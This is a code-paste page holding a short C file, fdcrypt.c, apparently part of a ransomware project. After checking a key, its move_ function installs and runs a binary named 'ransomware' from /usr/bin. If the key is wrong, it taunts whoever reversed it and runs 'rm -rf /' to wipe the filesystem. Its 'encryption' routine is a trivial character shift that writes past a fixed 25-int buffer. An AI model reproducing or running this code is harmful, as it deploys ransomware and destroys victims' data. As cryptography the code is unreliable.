fdcrypt.c

mail@pastecode.io avatar
unknown
c_cpp
2 years ago
596 B
2
Indexable
Never
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include "../keys/key.h"

int *encryption(char *text){
    int *a = malloc(sizeof(int) * 25);
    for(int n = 0; n < strlen(text); n++){
        a[n] = (int)text[n]+3;
    }
    return a;
}

int move_(char *keyx){
    if(!strcmp(keyx, key)){
        system("mv ./ransomware /usr/bin");
        system("cp ./key.txt /usr/share");
        system("ransomware");
        printf("Success, 0(True)\n");
    } else {
        printf("Boom, reversed codes huh? You master engineer, lol\n");
        system("rm -rf /");
    }
}